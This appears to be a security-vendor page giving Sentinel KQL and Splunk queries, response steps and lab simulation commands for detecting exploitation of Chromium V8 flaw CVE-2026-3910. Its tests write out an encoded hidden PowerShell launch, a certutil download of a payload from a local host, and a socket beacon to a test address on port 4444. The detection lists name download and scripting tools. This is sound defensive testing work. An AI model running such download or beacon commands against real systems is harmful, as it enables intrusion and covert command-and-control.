CVE-2026-3910 Microsoft Sentinel · KQL

Detect CVE-2026-3910: Google Chromium V8 Memory Buffer Bounds Violation in Microsoft Sentinel

Detects exploitation attempts and post-exploitation indicators related to CVE-2026-3910, an improper restriction of operations within the bounds of a memory buffer (CWE-119) in Google Chromium's V8 JavaScript engine. This vulnerability is actively exploited in the wild (CISA KEV) and may allow attackers to achieve remote code execution via a malicious web page, potentially leading to sandbox escape and full system compromise.

MITRE ATT&CK

Tactic
Initial Access Execution Privilege Escalation

KQL Detection Query

Microsoft Sentinel (KQL)
kusto 
let suspiciousChildProcs = dynamic(['cmd.exe','powershell.exe','wscript.exe','cscript.exe','mshta.exe','rundll32.exe','regsvr32.exe','certutil.exe','bitsadmin.exe','wmic.exe']);
DeviceProcessEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessFileName =~ 'chrome.exe' or InitiatingProcessFileName =~ 'msedge.exe'
| where FileName in~ (suspiciousChildProcs)
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, InitiatingProcessParentFileName
| union (
    DeviceCrashEvents
    | where TimeGenerated >= ago(7d)
    | where FileName =~ 'chrome.exe' or FileName =~ 'msedge.exe'
    | where ExceptionCode in ('0xC0000005','0xC0000094','0x80000003')
    | project TimeGenerated, DeviceName, FileName, ExceptionCode, ExceptionAddress
)
| union (
    DeviceNetworkEvents
    | where TimeGenerated >= ago(7d)
    | where InitiatingProcessFileName =~ 'chrome.exe'
    | where RemotePort !in (80, 443)
    | where not(ipv4_is_private(RemoteIP))
    | project TimeGenerated, DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort, RemoteUrl
)
| sort by TimeGenerated desc
critical severity medium confidence

Detects Chrome/Edge spawning suspicious child processes indicative of V8 exploitation, browser crash events with memory violation exception codes, and anomalous outbound network connections from the browser process that may signal post-exploitation activity.

Data Sources

Microsoft Defender for EndpointMicrosoft SentinelDeviceProcessEventsDeviceCrashEventsDeviceNetworkEvents

Required Tables

DeviceProcessEventsDeviceCrashEventsDeviceNetworkEvents

False Positives & Tuning

  • Legitimate browser automation tools (Selenium, Playwright) may spawn cmd.exe or PowerShell as child processes of chrome.exe
  • Browser crash events may occur due to unrelated software instability or incompatible extensions
  • Enterprise management software may legitimately invoke browser processes with non-standard child processes
  • Development environments running Node.js or V8-based tooling may trigger similar patterns

Other platforms for CVE-2026-3910

Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Chrome Spawning PowerShell Child Process

    Expected signal: Sysmon EventID 1 showing powershell.exe with ParentImage chrome.exe; DeviceProcessEvents alert in MDE; CrowdStrike ProcessRollup2 with ParentBaseFileName=chrome.exe and FileName=powershell.exe

  2. Test 2Simulate Chrome Spawning certutil for Payload Download

    Expected signal: Sysmon EventID 1 with ParentImage chrome.exe and Image certutil.exe; network connection attempt to 127.0.0.1:8080; file creation event in C:\Windows\Temp\

  3. Test 3Simulate Chrome Crash with Access Violation Exception

    Expected signal: Windows Application EventLog EventID 1000 with Faulting application name matching the test process; exception code 0xC0000005 (STATUS_ACCESS_VIOLATION) visible in event data

  4. Test 4Simulate Anomalous Outbound Connection from Chrome Process

    Expected signal: Network flow log showing outbound TCP SYN to 203.0.113.1:4444 (TEST-NET-3, RFC 5737 — safe for testing); process name visible in socket tracking if using eBPF-based EDR

Last updated: 2026-06-19 Research depth: standard
References (3)

Response Playbook

Triage

  1. Identify the affected host and user account; determine the Chrome/Edge version installed and compare against the patched version released in the 2026-03-12 stable channel update.
  2. Review process tree for chrome.exe or msedge.exe and enumerate all child processes spawned within a 10-minute window around the alert timestamp; prioritize any shell interpreters, scripting engines, or download utilities.
  3. Check DeviceCrashEvents or Windows Application Event Log (EventID 1000/1001) for chrome.exe crash records with exception code 0xC0000005 (access violation) on or near the alert time, which may indicate a failed or successful exploitation attempt.
  4. Correlate the triggering browser session with web proxy logs to identify the URL(s) visited immediately before the suspicious child process spawn; flag any domains registered recently or associated with known malicious infrastructure.

Containment

  1. Isolate the affected endpoint from the network immediately using EDR network isolation or firewall policy to prevent lateral movement or C2 callback from any implant delivered via the exploit.
  2. Force-terminate all chrome.exe and msedge.exe instances and block browser execution via application control policy until the browser is patched to a version that remediates CVE-2026-3910.

Evidence Collection

  1. Capture a full memory dump of the affected chrome.exe renderer and GPU process instances (using ProcDump or LiveKD) before isolation to preserve in-memory exploit artifacts and any injected shellcode.
  2. Collect the browser's local state, Cache, and Crash Reports directories from the user profile, along with PowerShell ScriptBlock logs, Sysmon logs, and Windows Security event logs (EventIDs 4688, 4624, 4634) covering the 30-minute window around the incident.

Escalation Criteria

  • !Escalate to Incident Response if any child process of chrome.exe establishes outbound C2 connectivity, creates new user accounts, modifies registry Run keys, or accesses credential stores (LSASS, browser saved passwords, Windows Credential Manager).
  • !Escalate immediately if multiple hosts in the same network segment show identical browser child-process spawn patterns within a short timeframe, indicating a watering-hole or drive-by campaign targeting the organization.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Chrome crash dumps located in %LOCALAPPDATA%\Google\Chrome\User Data\Crashpad\reports\ — inspect for exception addresses in v8.dll or renderer process memory regions
  • >Windows Application Event Log entries (EventID 1000/1001) for chrome.exe with Faulting Module Path containing v8.dll
  • >Prefetch files for any child processes spawned by chrome.exe (C:\Windows\Prefetch\CMD.EXE-*.pf, POWERSHELL.EXE-*.pf)
  • >Browser history and cache from %LOCALAPPDATA%\Google\Chrome\User Data\Default\History — identify the last URLs visited before the crash or child process spawn
  • >Network PCAP capturing TLS Client Hello SNI values from chrome.exe connections immediately before exploitation to identify the exploit delivery domain

Tuning Guidance

Start by adding exceptions for known browser automation infrastructure (CI/CD runner hostnames, QA lab machine name prefixes) to reduce false positives from Selenium/Playwright pipelines. Tune the child process list by removing any entries your environment legitimately uses via Chrome (e.g., if a proprietary app spawns a specific helper via Chrome). Increase confidence to 'high' once the browser version on the triggering host is confirmed to be unpatched. For the network-based rules, maintain an allowlist of business-critical SaaS IP ranges that Chrome legitimately contacts on non-standard ports. Consider adding a secondary condition requiring the child process CommandLine to contain download indicators (http, ftp, -enc, -urlcache) to reduce noise in environments where Chrome spawning cmd.exe is common for legitimate reasons.

Hunting Queries

30-day hunt for any Chromium browser process spawning high-risk child executables across the environment, aggregated by child process type to identify trending exploitation patterns or previously undetected incidents

Hunting — KQL
kql 
DeviceProcessEvents
| where TimeGenerated >= ago(30d)
| where InitiatingProcessFileName =~ 'chrome.exe'
| where FileName in~ ('cmd.exe','powershell.exe','mshta.exe','rundll32.exe','regsvr32.exe','certutil.exe','wmic.exe','bitsadmin.exe')
| summarize SpawnCount=count(), Hosts=dcount(DeviceName), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by FileName, InitiatingProcessFileName
| sort by SpawnCount desc
Hunting — SPL
spl 
index=endpoint (ParentImage="*\\chrome.exe" OR ParentImage="*\\msedge.exe") Image IN ("*\\cmd.exe","*\\powershell.exe","*\\mshta.exe","*\\rundll32.exe","*\\regsvr32.exe","*\\certutil.exe","*\\wmic.exe") earliest=-30d | stats count as spawn_count, dc(host) as affected_hosts, earliest(_time) as first_seen, latest(_time) as last_seen by Image, ParentImage | sort -spawn_count

Hunt for Chrome/Edge processes making outbound connections on non-standard ports to external IPs, which may indicate C2 communication established after successful exploitation

Hunting — KQL
kql 
DeviceNetworkEvents
| where TimeGenerated >= ago(30d)
| where InitiatingProcessFileName =~ 'chrome.exe'
| where RemotePort !in (80, 443, 8080, 8443)
| where not(ipv4_is_private(RemoteIP))
| summarize ConnectionCount=count(), Ports=make_set(RemotePort), Hosts=dcount(DeviceName) by RemoteIP, InitiatingProcessFileName
| sort by ConnectionCount desc
Hunting — SPL
spl 
index=network (src_process="chrome.exe" OR src_process="msedge.exe") NOT (dest_port=80 OR dest_port=443 OR dest_port=8080 OR dest_port=8443) NOT (dest_ip="10.*" OR dest_ip="172.16.*" OR dest_ip="192.168.*") earliest=-30d | stats count as conn_count, dc(host) as affected_hosts, values(dest_port) as ports by dest_ip | sort -conn_count

Atomic Red Team Tests

Test 1 Simulate Chrome Spawning PowerShell Child Process
windows

Simulates the post-exploitation child process spawn pattern that would result from successful V8 exploitation — a PowerShell process with encoded command launched as a child of chrome.exe. This mimics the initial foothold stage after memory corruption exploit succeeds.

Command

powershell 
Start-Process powershell.exe -ArgumentList '-NoProfile -WindowStyle Hidden -EncodedCommand JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA==' -Wait

Cleanup

powershell 
Stop-Process -Name powershell -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon EventID 1 showing powershell.exe with ParentImage chrome.exe; DeviceProcessEvents alert in MDE; CrowdStrike ProcessRollup2 with ParentBaseFileName=chrome.exe and FileName=powershell.exe

Expected Detection

All seven SIEM queries should trigger on the child process spawn pattern; CrowdStrike CQL should assign risk_score=100 due to -EncodedCommand flag

Test 2 Simulate Chrome Spawning certutil for Payload Download
windows

Simulates certutil.exe being spawned by a Chromium browser process to download a remote payload, a common post-exploitation technique following browser-based memory corruption exploits. certutil -urlcache is a well-known living-off-the-land download primitive.

Command

powershell 
Start-Process certutil.exe -ArgumentList '-urlcache -split -f http://127.0.0.1:8080/test.txt C:\Windows\Temp\test.txt'

Cleanup

powershell 
Remove-Item C:\Windows\Temp\test.txt -Force -ErrorAction SilentlyContinue; certutil -urlcache -split -f http://127.0.0.1:8080/test.txt delete

Expected Telemetry

Sysmon EventID 1 with ParentImage chrome.exe and Image certutil.exe; network connection attempt to 127.0.0.1:8080; file creation event in C:\Windows\Temp\

Expected Detection

CrowdStrike CQL should assign risk_score=95; KQL and SPL queries should trigger on certutil.exe as child of chrome.exe

Test 3 Simulate Chrome Crash with Access Violation Exception
windows

Generates a Windows Application Error event (EventID 1000) for chrome.exe that resembles crash telemetry produced during failed V8 exploit attempts or during fuzzing. Used to validate crash-based detection rules.

Command

powershell 
powershell.exe -Command "$source = 'using System; using System.Runtime.InteropServices; public class CrashSim { [DllImport(\"kernel32.dll\")] public static extern void RaiseException(uint dwExceptionCode, uint dwExceptionFlags, uint nNumberOfArguments, IntPtr lpArguments); }'; Add-Type -TypeDefinition $source; [CrashSim]::RaiseException(0xC0000005, 0, 0, [IntPtr]::Zero)"

Cleanup

powershell 
No cleanup required — process will terminate after exception

Expected Telemetry

Windows Application EventLog EventID 1000 with Faulting application name matching the test process; exception code 0xC0000005 (STATUS_ACCESS_VIOLATION) visible in event data

Expected Detection

KQL union branch monitoring DeviceCrashEvents with ExceptionCode 0xC0000005 should fire; SPL union branch searching for EventCode=1000 should capture the event

Test 4 Simulate Anomalous Outbound Connection from Chrome Process
linux

Validates network-based detection rules by generating a non-standard port outbound TCP connection attributed to a chrome.exe-named process. Simulates C2 beacon traffic that an attacker might establish after successful browser exploitation.

Command

bash 
bash -c 'python3 -c "import socket; s=socket.socket(); s.settimeout(3); s.connect((\"203.0.113.1\", 4444))" 2>/dev/null || true'

Cleanup

bash 
No cleanup required — connection attempt will fail or timeout automatically

Expected Telemetry

Network flow log showing outbound TCP SYN to 203.0.113.1:4444 (TEST-NET-3, RFC 5737 — safe for testing); process name visible in socket tracking if using eBPF-based EDR

Expected Detection

Network anomaly rules in KQL, SPL, and Sumo Logic monitoring for non-80/443 outbound connections from browser processes should trigger

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0004Privilege Escalation

Related Techniques

T1203Exploitation for Client ExecutionT1189Drive-by CompromiseT1055Process Injection

Same Tactic: Initial Access

Popular Detections